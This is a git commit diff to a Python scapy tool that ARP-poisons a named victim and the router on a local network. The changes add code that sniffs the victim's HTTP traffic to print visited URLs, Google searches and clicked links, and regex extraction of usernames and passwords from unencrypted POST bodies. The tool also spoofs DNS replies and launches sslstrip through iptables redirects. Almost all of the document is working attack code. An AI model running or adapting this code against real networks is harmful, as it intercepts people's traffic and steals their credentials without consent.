Tons of new stuff added like consistent HTTP password pulling

This commit is contained in:
DanMcInerney 2013-06-02 21:38:22 -06:00
parent 39d73cc154
commit c603fc4a43

View file

@ -5,7 +5,7 @@ logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *
conf.verb=0
#Below is necessary to receive a response to the DHCP packets for some reason. If you know the answer to that message me.
conf.checkIPaddr=0
conf.checkIPaddr=1
import time
import sys
import threading
@ -13,6 +13,7 @@ import argparse
import sys
import os
import signal
import urlparse
import commands
bash=commands.getoutput
@ -26,12 +27,29 @@ parser.add_argument("-u", "--urlspy", help="Show all URLs the victim is browsing
parser.add_argument("-d", "--dnsspy", help="Show all DNS resquests the victim makes. This has the advantage of showing HTTPS domains which the -u option will not but does not show the full URL the victim is requesting.", action="store_true")
parser.add_argument("-ip", "--ipaddress", help="Enter IP address of victim and skip the arp ping at the beginning.")
parser.add_argument("-i", "--driftnet", help="Open an xterm window with driftnet.", action="store_true")
parser.add_argument("-g", "--google", help="Print google searches.", action="store_true")
parser.add_argument("-g", "--google", help="Print Google searches, and show nonHTTPS links they click on from the search results.", action="store_true")
parser.add_argument("-s", "--sslstrip", help="Open an xterm window with sslstrip and output to sslstrip.txt", action="store_true")
parser.add_argument("-uv", "--verboseURL", help="Shows all URLs the victim visits.", action="store_true")
parser.add_argument("-dns", "--dnsspoof", help="Spoof DNS responses of a specific domain. Enter domain after this argument")
parser.add_argument("-p", "--post", help="Print the URL the victim POSTs to, show usernames and passwords in unsecure HTTP POSTs", action="store_true")
args = parser.parse_args()
class colors:
PURPLE = '\033[95m'
BLUE = '\033[94m'
OKGREEN = '\033[92m'
TAN = '\033[93m'
RED = '\033[91m'
ENDC = '\033[0m'
def disable(self):
self.HEADER = ''
self.OKBLUE = ''
self.OKGREEN = ''
self.TAN = ''
self.RED = ''
self.ENDC = ''
#Find the gateway and use it as the router's info
routerCmd = bash('ip route')
routerRE = re.search('default via ((\d{2,3}\.\d{1,3}\.\d{1,4}\.)\d{1,3}) \w+ (\w[a-zA-Z0-9]\w[a-zA-Z0-9][0-9]?)', routerCmd)
@ -40,16 +58,16 @@ IPprefix = routerRE.group(2)
interface = routerRE.group(3)
localIP = [x[4] for x in scapy.all.conf.route.routes if x[2] != '0.0.0.0'][0]
if args.dnsspy or args.dnsspoof:
print "Checking if the router is the DNS server..."
print "Checking the DNS server..."
dhcp_discover = Ether(dst="ff:ff:ff:ff:ff:ff")/IP(src="0.0.0.0",dst="255.255.255.255")/UDP(sport=68,dport=67)/BOOTP(chaddr=RandString(12,'0123456789abcdef'))/DHCP(options=[("message-type","discover"),"end"])
ans, unans = srp(dhcp_discover, timeout=5, retry=2)
ans, unans = srp(dhcp_discover, timeout=7, retry=2)
if ans:
for p in ans:
DNSserver = p[1][IP].src
print "DNS server at:", DNSserver, '\n'
else:
print "No answer to DHCP packet sent to find the DNS server.\n"
print "No answer to DHCP packet sent to find the DNS server. Setting DNS server to router IP.\n"
DNSserver = routerIP
if args.ipaddress:
victimIP = args.ipaddress
@ -62,7 +80,7 @@ else:
def originalMAC(ip):
# srp is for layer 2 packets with Ether layer, sr is for layer 3 packets like ARP and IP
ans,unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip), timeout=7, retry=3)
ans,unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip), timeout=5, retry=3)
for s,r in ans:
return r.sprintf("%Ether.src%")
@ -71,22 +89,63 @@ def poison(routerIP, victimIP):
send(ARP(op=2, pdst=routerIP, psrc=victimIP, hwdst="ff:ff:ff:ff:ff:ff"))
def restore(routerIP, victimIP, routerMAC, victimMAC):
send(ARP(op=2, pdst=routerIP, psrc=victimIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=victimMAC), count=5)
send(ARP(op=2, pdst=victimIP, psrc=routerIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=routerMAC), count=5)
send(ARP(op=2, pdst=routerIP, psrc=victimIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=victimMAC), count=3)
send(ARP(op=2, pdst=victimIP, psrc=routerIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=routerMAC), count=3)
def URL(pkt):
if pkt.haslayer(Raw):
request = pkt[Raw].load
searchGET = re.compile('GET')
get = searchGET.search(request)
searchHost = re.compile('Host:')
host = searchHost.search(request)
if get and host:
a = request.split("\r\n")
b = a[1].split(" ")
c = a[0].split(" ")
url = b[1]+c[1]
print url
# Counter is to make sure we're not printing packet data twice if both username and password is found
counter = 0
# We add pkt[Ether].src check to make sure we're not messing with retransmitted packets
if pkt.haslayer(Raw) and pkt[Ether].src == victimMAC:
pkt = repr(pkt[Raw].load)
try:
headers, body = pkt.split(r"\r\n\r\n")
except:
headers = pkt
body = ''
post = re.search('POST /', headers)
get = re.search('GET /', headers)
host = re.search('Host: ', headers)
#The big unsolvable problem is that sometimes sniff() will get a packet (usually from the arp spoofed victim)
#and split it into 2 packets when wireshark sees only one. Consistently from neopets via arpspoof victim. The load
#gets truncated and sniff() then treats the other few lines of the HTTP load as a new packet for some reason.
#http://bpaste.net/show/v2CsP4Ixzb7NGGuutDSp/
if args.post and len(headers) < 450 and not get:
username = re.finditer('(([Uu]ser|[Uu]sername|[Nn]ame|[Ll]ogin|[Ll]og)=([^&][^&]*))', headers)
password = re.finditer('(([Pp]assword|[Pp]ass|[Pp]asswd|[Pp]wd|[Pp]assw)=([^&][^&]*))', headers)
for x in username:
if x:
print colors.TAN,'[+] Packet was split by accident. Username Data:',headers, colors.ENDC
print colors.RED,x.group(),colors.ENDC
counter = 1
for y in password:
if y:
if counter == 0:
print colors.TAN, '[+] Packet was split by accident. Password data:', headers, colors.ENDC
print colors.RED, y.group(), colors.ENDC
counter = 0
if (post or get) and host:
a = headers.split(r"\r\n")
try:
b = a[0].split(" ")
c = a[1].split(" ")
url = c[1]+b[1]
except:
print "Could not form url"
return
if args.post and post:
if body != '':
print colors.TAN+'[+] POST:',url,'HTTP POST load:',body+colors.ENDC
password = re.finditer('(([Pp]assword|[Pp]ass|[Pp]asswd|[Pp]wd|[Pp]assw)=([^&][^&]*))', body)
username = re.finditer('(([Uu]ser|[Uu]sername|[Nn]ame|[Ll]ogin|[Ll]og)=([^&][^&]*))', body)
if username:
for x in username:
print colors.RED,x.group(),colors.ENDC
if password:
for y in password:
print colors.RED,y.group(),colors.ENDC
if args.urlspy:
d = ['.jpg', '.jpeg', '.gif', '.png', '.css', '.ico', '.js']
if any(i in url for i in d):
@ -95,12 +154,43 @@ def URL(pkt):
if args.verboseURL:
print url
if args.google:
if 'google' in url:
r = re.findall(r'(?i)\&q=(.*?)\&', request)
if 'google.com' in url:
r = re.findall(r'(?i)\&q=(.*?)\&', url)
if r:
search = r[0].split('&')[0]
search = search.replace('q=', '').replace('+', ' ').replace('%20', ' ').replace('%3F', '?').replace('%27', '\'')
print '%s googled:' % victimIP, search
search = search.replace('q=', '').replace('+', ' ').replace('%20', ' ').replace('%3F', '?').replace('%27', '\'').replace('%40', '@').replace('%24', '$').replace('%3A', ':').replace('%3D', '=')
print colors.BLUE + '[+] Googled:',search + colors.ENDC
try:
g,s = url.split('http%3A%2F%2F')
s = s.replace('%2F', '/').replace('%3F', '?').replace('%3D', '=')
s = s[:s.find('&')]
print colors.BLUE + '[+] Clicked this link from a Google search:',s + colors.ENDC
except:
pass
# bodyParsed = urlparse.parse_qs(body)
# print bodyParsed
# try:
# value = next(v for (k,v) in bodyParsed.iteritems() if passwd or username in k)
# print value
# except:
# print 'this post does not have username or password data'
# for k,v in bodyParsed.iteritems():
# if passwd or username in k:
# print bodyParsed[k]
# if args.post and post:
# print '%s POSTed to:' % victimIP, url
# print request
# username = re.search('([Uu]ser|[Uu]sername|[Nn]ame|[Ll]ogin)=[^&]*', request)
# if username:
# print username.group()
# else:
# print "Could not find username"
def DNSreq(pkt):
if pkt.haslayer(DNSQR):
@ -116,6 +206,8 @@ def mkspoof(DNSpkt):
class urlspy(threading.Thread):
def run(self):
# This is in case you need to test the program without an actual victim
# sniff(store=0, filter='port 80', prn=URL, iface=interface)
sniff(store=0, filter='port 80 and host %s' % victimIP, prn=URL, iface=interface)
class dnsspy(threading.Thread):
@ -125,13 +217,13 @@ class dnsspy(threading.Thread):
class dnsspoof(threading.Thread):
def run(self):
while 1:
a=sniff(filter='port 53 and host %s' % victimIP, count=1, promisc=1)
a=sniff(filter='port 53 or port 80 and host %s' % victimIP, count=1, promisc=1)
DNSpkt = a[0]
if not DNSpkt.haslayer(DNSQR):
continue
if args.dnsspoof in DNSpkt.qd.qname:
send(mkspoof(DNSpkt))
print 'Sent spoofed DNS response packet for', DNSpkt.qd.qname
print colors.OKGREEN + '[+] Spoofed:', DNSpkt.qd.qname + colors.ENDC
#class ssltrip(threading.Thread):
# def run(self):
@ -140,6 +232,17 @@ def sslstrip():
ip10000 = bash('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000')
sslstrip = bash('xterm -e sslstrip -f -w sslstrip.txt')
print "Active interface = " + interface
print "Router IP = " + routerIP
print "Client IP = " + victimIP
try:
routerMAC = originalMAC(routerIP)
print "Router MAC: " + routerMAC
victimMAC = originalMAC(victimIP)
print "Victim MAC: " + victimMAC + "\n"
except:
sys.exit("Could not get MAC addresses")
def main():
#Forward packets and flush iptables
@ -150,19 +253,7 @@ def main():
ipNATX = bash('iptables -t nat -X')
print 'Enabled IP forwarding and flushed the firewall\n'
print "Active interface = " + interface
print "Router IP = " + routerIP
print "Client IP = " + victimIP
try:
routerMAC = originalMAC(routerIP)
print "Router MAC: " + routerMAC
victimMAC = originalMAC(victimIP)
print "Victim MAC: " + victimMAC + "\n"
except:
sys.exit("Could not get MAC addresses")
if args.urlspy or args.google or args.verboseURL:
if args.urlspy or args.google or args.verboseURL or args.post:
ug = urlspy()
#Make sure the thread closes with the main program on Ctrl-C
ug.daemon = True
@ -174,7 +265,6 @@ def main():
dt.start()
if args.driftnet:
time.sleep(5)
driftnet = bash('xterm -e driftnet -i %s' % interface)
if args.sslstrip:
@ -190,7 +280,9 @@ def main():
restore(routerIP, victimIP, routerMAC, victimMAC)
restore(routerIP, victimIP, routerMAC, victimMAC)
ipforwardoff = bash('echo 0 > /proc/sys/net/ipv4/ip_forward')
flush = bash('iptables -t nat -F')
flush1 = bash('iptables -t nat -F')
flush2 = bash('iptables -F')
flush3 = bash('iptables -X')
sys.exit(0)
signal.signal(signal.SIGINT, signal_handler)
@ -199,11 +291,8 @@ def main():
while 1:
poison(routerIP, victimIP)
try:
if DNSserver != routerIP:
if not DNSserver == routerIP:
poison(DNSserver, victimIP)
except Exception:
pass
time.sleep(1.5)